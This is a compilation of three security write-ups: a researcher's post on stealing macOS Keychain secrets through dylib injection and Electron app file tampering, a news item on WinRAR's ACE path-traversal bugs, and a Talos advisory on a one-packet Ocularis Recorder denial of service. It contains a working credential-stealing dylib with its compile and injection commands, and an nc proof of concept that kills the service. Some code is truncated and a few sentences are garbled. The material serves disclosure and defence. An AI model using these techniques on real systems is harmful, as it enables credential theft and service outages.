Stealing macOS apps’ Keychain entries

Stealing macOS apps' Keychain entries

Original text by @WOJCIECH REGUŁA

Storing secrets on the macOS is a big challenge and can be done in multiple insecure ways. I tested many mac apps during bug bounty assessments and observed that developers tend to place secrets in preferences or even hidden flat files. The problem with that approach is that any non-sandboxed application running with typical permissions can access the confidential data.

For example, Signal on macOS stores a key that encrypts all your messages database in ~/Library/Application Support/Signal/config.json.

Signal encryption key

macOS Keychain

Apple tells us that “The keychain is the best place to store small secrets, like passwords and cryptographic keys”. Keychain is really powerful mechanism allowing developers to define access control lists (ACL) to restrict access to the entries. Applications can be signed with keychain-group entitlements in order to access shared between other apps secrets. The following Objective-C code will save a confidential value in the Keychain:

bool saveEntry() {
    OSStatus res;
    CFStringRef keyLabel = CFSTR("MySecret");
    CFStringRef secret = CFSTR("<secret data...>");
    CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 5, &kCFTypeDictionaryKeyCallBacks, NULL);
    CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
    CFDictionaryAddValue(attrDict, kSecValueData, secret);
    CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
    CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);
    res = SecItemAdd(attrDict, NULL);
    if (res == errSecSuccess) {
        return true;
    return false;

And when executed, you should see that the entry has been successfully added:

My secret

Stealing the entry – technique #1

The first technique is to verify if the application has been signed with the Hardened Runtime or Library Validation flag. Yes, the Keychain doesn’t detect code injections… So simply, use the following command:

$ codesign -d -vv /path/to/the/app
Format=Mach-O thin (x86_64)
CodeDirectory v=20200 size=653 flags=0x0(none) hashes=13+5 location=embedded Signature size=4755
Authority=Apple Development: [REDACTED]
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=29 Oct 2020 at 19:40:01
Info.plist=not bound
Runtime Version=10.15.6
Sealed Resources=none
Internal requirements count=1 size=192

If the flags are 0x0 and there is no __RESTRICT Mach-O segment (that segment is really rare), you can simply inject a malicious dylib to the app’s main executable. Create an exploit.m file with the following contents:

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void pwn(int argc, const char **argv) {
    NSLog(@"[+] Dylib injected");

    OSStatus res;
    CFTypeRef entryRef;

    CFStringRef keyLabel = CFSTR("MySecret");
    CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 4, &kCFTypeDictionaryKeyCallBacks, NULL);
    CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
    CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
    CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);

    res = SecItemCopyMatching(attrDict, (CFTypeRef*)&entryRef);
    if (res == errSecSuccess) {
        NSData *resultData = (__bridge NSData *)entryRef;
        NSString *entry = [[NSString alloc] initWithData: resultData encoding: NSUTF8StringEncoding];
        NSLog(@"[+] Secret stolen: %@", entry);

Compile it:

gcc -dynamiclib exploit.m -o exploit.dylib -framework Foundation -framework Security

And inject:

$ DYLD_INSERT_LIBRARIES=./exploit.dylib ./KeychainSaver
2020-10-30 19:33:46.600 KeychainSaver [+] Dylib injected
2020-10-30 19:33:46.628 KeychainSaver [+] Secret stolen: <secret data…>

Stealing the entry – technique #2

What if the executable has been signed with the Hardened Runtime? The bypass is similar to what I showed you in the XPC exploitation series. Grab an old version of the analyzed binary that was signed without the Hardened Runtime and inject the dylib into it. Keychain will not verify the binary’s version and will give you the secret.

Proposed fix for developers – create a Keychain Access Group and move the secrets there. As the old version of the binary wouldn’t be signed with that keychain group entitlement, it wouldn’t be able to get that secret. See docs.

Stealing the entry – technique #3

Keep in mind that the will allow you to inject a malicious dynamic library if the Hardened Runtime is set.

Stealing the entry – technique #4

As Jeff Johnson proved in his article, TCC only superficially checks the code signature of the app. The same problem exists in the Keychain. Even if the signature of the whole bundle is invalid, the Keychain will only verify if the main executable has not been tampered with. Let’s take one of the Electron applications installed on your device. I’m pretty sure that you have at least one installed (Microsoft Teams, Signal, Visual Studio Code, Slack, Discord, etc.). As it was proved many times (12) Electron apps cannot store your secrets securely.

This is another example of why this is true… Even if you sign Electron with the Hardened Runtime, the malicious application may change JavaScript files containing the actual code. Let’s take a look at Github It stores the user’s session secret in the Keychain:

Github Desktop keychain entry

And it is validly signed:

$ codesign -d --verify -v /Applications/GitHub\
/Applications/GitHub valid on disk
/Applications/GitHub satisfies its Designated Requirement

Next, change one of the JS files and verify the signature:

$ echo "/* test */" >> /Applications/GitHub\
$ codesign -d --verify -v /Applications/GitHub\
/Applications/GitHub\ a sealed resource is missing or invalid
file modified: /Applications/GitHub\

You can see that the signature is broken, but the Github will launch normally and load the secret saved in the Keychain:

Github Desktop loads entry from the Keychain

To prevent modifications, Electron implemented a mechanism called asar-integrity. It calculates a SHA512 hash and stores it in the Info.plist file. The problem is that it doesn’t stop the injections. If the main executable has not been signed with the Hardened Runtime or Kill flag and doesn’t contain restricted entitlements, you can simply modify the asar file, calculate a new checksum and update the Info.plist file. If these flags or entitlements are set, you can always use the ELECTRON_RUN_AS_NODE variable and again – execute code in the main executable context. So, it allows stealing the Keychain entries.


As I showed you in this post, secure secrets storage in the Keychain is really hard to achieve. There are multiple ways to bypass the access control mechanism as the code signature check of the requesting executables is done superficially.

The biggest problem is in Electron apps that just cannot store the secrets in the Keychain securely. Keep in mind that any framework that stores the actual code outside of the main executable may be tricked into loading malicious code.

If you know any other cool Keychain bypass techniques, please contact me. I’d be happy to update this post. 😉

CVE-2018-20250: WinRAR Vulnerability Found after 19 Years of Possible Exploitation

Original text by Martin Beltov

A security team has announced the discovery of a critical vulnerability found in WinRAR, one of the most popular archive and compression tools used by computer users. The issue is estimated to have been a part of the software for 19 years or even more and it forced the development team to drop support for a file format.

CVE-2018-20250: WinRAR May Have Been Used For Malware Delivery For 19 Years

WinRAR as one of the most popular software downloaded and used by end users has been reported to contain an exploit that may have been part of the application for 19 years or even longer. The report came from the Check Point research team which reported that they have been running experiments on software trying to find weaknesses on common programs. During their investigation they uncovered an issue with an old and outdated dynamic link library (DLL) file which was compiled back in 2006 without featuring any protective mechanism. The experts investigated it further and discovered that exploitation can lead to a logical bug called absolute path traversalThis allows the hackers to execute remote code. Related: CVE-2018-16858: Remote Code Execution Bug in LibreOffice

The code analysis reveals multiple weaknesses in the extraction of several popular archive formats: RAR, LZH and ACE. The reason for this is a memory corruption however this is not the most serious issue. A parsing error with the ACE format led to the discovery that the outdated DLL file can be manipulated by malware as they do not have protective mechanism. A proof-of-concept demonstratrion has shown that by using a few simple parameters the whole program can be exploited.

Using crafted archive files computer hackers can trigger remote code execution sessions merely by making the users open them up — the dangerous files can be of different formats. The malicious code can be moved to the Startup Folders which means that it will be run automatically every time the computer is powered on. One of the dangerous effects of this is the fact that the UAC prompt is bypassed. For all of identified weaknesses security advisories have been posted:

  • CVE-2018-20250 — By crafting the filename field of the ACE format, the destination folder (extraction folder) is ignored, and the relative path in the filename field becomes an absolute Path. This logical bug, allows the extraction of a file to an arbitrary location which is effectively code execution.
  • CVE-2018-20251 — A validation function (in WinRAR code) is being called before extraction of ACE archives. The validation function inspects the filename field for each compressed file in the ACE archive. In case the filename is disallow by the validator function (for example, the filename contains path traversal patterns) The extraction operation should be aborted and no file or folder should be extracted. However, the check of the return value from the validator function made too late (in UNACEV2.dll), after the creation of files and folders. It prevent the write operation to the extracted files only.
  • CVE-2018-20252 — There is an out-of-bounds writes vulnerability during parsing of crafted ACE and RAR archive formats. Successful exploitation could lead to arbitrary code execution in the context of the current user.
  • CVE-2018-20253 — In WinRAR versions prior to and including 5.60, There is an out-of-bounds write vulnerability during parsing of a crafted LHA / LZH archive formats. Successful exploitation could lead to arbitrary code execution in the context of the current user.

Following the disclosure to the WinRAR team the developers dropped the DLL file from the package and discontinued support of the ACE format. All users are urged to update to the latest version of the program.

Ocularis Recorder VMS_VA Denial of Service Vulnerability


Talos is disclosing a denial-of-service vulnerability in the Ocularis Recorder. Ocularis is a video management software (VMS) platform used in a variety of settings, from convenience stores, to city-wide deployments. An attacker can trigger this vulnerability by crafting a malicious network packet that causes a process to terminate, resulting in a denial of service.


An exploitable denial-of-service vulnerability exists in the Ocularis Recorder functionality of Ocularis A specially crafted TCP packet can cause a process to terminate, resulting in denial of service.

The VMS_VA server process is listening for incoming TCP connections on a port in the range of 60801-65535. When a client connects to it and sends any unexpected data, the binary will respond with «Hello World!» The binary has a check to see if the receiving data starts with «dispose.” If it does, the server process kills itself. There is no authentication required for this command to go through. Any attacker with network access to the server application can use this to execute a denial-of-service attack.

Ocularis Recorder VMS_VA Denial of Service Vulnerability

JUNE 5, 2018 CVE NUMBER CVE-2018-3852


An exploitable denial of service vulnerability exists in the Ocularis Recorder functionality of Ocularis A specially crafted TCP packet can cause a process to terminate resulting in denial of service. An attacker can send a crafted TCP packet to trigger this vulnerability.

Tested Versions

Ocularis Recorder

Product URLs

CVSSv3 Score

7.5 — CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


CWE-250 — Execution with Unnecessary Privileges


This binary listens for incoming TCP connections. When a client connects to this binary and sends any non expected data, the binary will respond with «Hello World!». If the server receives the dispose command it will terminate the VMS_VA process.

this.tcpListener = new TcpListener(IPAddress.Any, 60801 + ConfigID);
Thread thread = new Thread(new ThreadStart(this.ListenForClients))
    Name = "VA CommServer V4 Listener"
if (str.StartsWith("dispose"))
    this.Running = false;
    bytes = Encoding.Default.GetBytes("Ack!");

The binary has a check to see if the receiving data starts with «dispose». If it does the «this.Running» variable will be set to false which results in the process killing itself. There is no authentication required for this command to go through.

Crash Information


Exploit Proof-of-Concept

$ echo "dispose" | nc -nv 60801 60801 open


This vulnerability can be mitigated by not allowing VMS_VA.exe from accepting inbound connections. It is unclear if this will have any adverse affect on the Ocularis Recorder module as the product documentation explicitly states to allow inbound traffic to this binary.


2018-03-05 — Vendor Disclosure
2018-06-04 — Public Release